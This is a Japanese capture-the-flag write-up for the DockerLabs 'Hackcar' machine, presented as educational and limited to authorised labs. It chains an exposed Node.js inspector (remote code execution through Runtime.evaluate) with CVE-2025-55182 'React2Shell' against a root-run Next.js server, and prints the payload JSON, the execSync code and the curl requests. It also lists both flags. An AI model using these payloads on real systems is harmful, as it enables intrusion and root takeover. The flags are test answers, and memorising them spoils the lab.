
解説: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
プラットフォーム: DockerLabs 難易度: 中 (まあまあ、なかなか手ごわい) 目標:
webuserからrootへ、Next.js を破って
いつも通り、まず最初に: 目の前にあるものを確認する。
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
待てよ... 9229? このポートは普通じゃない。そして完全スキャンでポートが2つだけだと確認できる:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
9229 は典型的な Node.js inspector (デバッガ) のポートだ。保護なしで公開されていれば、事実上コード実行への扉が開いているようなものだ。確認してみよう。
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
やられた。 Node のデバッガが認証なしで公開されていて、しかもアプリがどこにあるかまで教えてくれている。これは直接 RCE だ。
デバッガが公開されていれば、WebSocket に接続して Runtime.evaluate を使い、Node プロセス内で好き勝手に実行するだけでいい。
デバッガの URL を取得して、process.mainModule.require('child_process').execSync() でコマンドを実行する簡単な Python スクリプトを書いた:
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
引用符で悩まないように、コマンド全体を base64 で送り、プロセス内でデコードしている。最初のテスト:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
webuser として RCE。 マシンは手中に落ちた...そう思っていた。どうやら本当の美味しいところはもっと隠れていたようだ。
マシン上で他に何が動いているか、プロセスを見てみよう:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
注目せよ! ポート 3000 (localhost のみ) で ROOT として動く Next.js バージョン 15.0.0-rc.1 がある。これは特権の匂いがする...そして CVE の匂いも。
コンテナ内の 127.0.0.1 でしかリッスンしていないので、外からは触れない。しかし RCE があるので、内側からアクセスできる。まず何なのか見てみよう:
curl -s http://127.0.0.1:3000/
「Internal Administration Portal」 が現れる — 内部管理ポータルだ。実に魅力的だ。
user フラグはすぐ見つかった:
DL{g2QrDUvg3HiqaWeZBbZa}
そして今度は、その Next.js を経由して root へ昇格する番だ。
バージョンは Next.js 15.0.0-rc.1 で、有名な React2Shell (CVE-2025-55182) に脆弱な React 19 を使用している: RSC パーサー (React Server Components / Flight protocol) におけるプロトタイプ汚染による重大な RCE (CVSS 10.0) だ。
エクスプロイトは Next-Action ヘッダーを伴う不正な multipart/form-data で、React のパーサーが汚染されたオブジェクトをデシリアライズし、最終的に Function コンストラクタを我々のコードで呼び出す:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CÓDIGO JS A EJECUTAR>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
つまり: Chunk.prototype.then が汚染され、パーサーが我々のモデルをロードし、プロミスを解決する際に我々の JavaScript が root として動く Next.js プロセス内で実行される。
出力を取り出すために「redirect」モードを使った: コードがコマンドを実行し、結果を base64 にして Error の digest プロパティに入れ、Next.js がそれをヘッダーとして返す:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
最終的なリクエスト:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
サーバーは 500 を返す (正常、意図的なエラーだ) そしてヘッダーに:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
デコードする:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
我々は ROOT だ。 そしてフラグ:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, 静的, 完全なハッタリ)
└─ 9229 (Node.js inspector 公開)
└─ webuser として Runtime.evaluate 経由の RCE
└─ 列挙: 127.0.0.1:3000 で ROOT として動く Next.js 15.0.0-rc.1
└─ CVE-2025-55182 (React2Shell): root RCE
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| ファイル | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | 脆弱性 | CWE | 何が得られたか |
|---|---|---|---|
| 1 | 認証なしの Node.js inspector (ポート 9229) | CWE-284 | webuser としての RCE |
| 2 | 古い Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | root としての RCE |
教訓:
| ツール | 用途 |
|---|---|
nmap | ポート偵察 |
curl | Web 列挙とエクスプロイトの発火 |
websocket-client (Python) | Node の inspector と通信 |
jadx | 前のマシン (ここではないが、それでも美しいと思う) |
base64 | 引用符の問題なくペイロードを転送 |
教育目的の Writeup。許可を得たマシン (DockerLabs、HTB、自分のラボ) だけを触ること。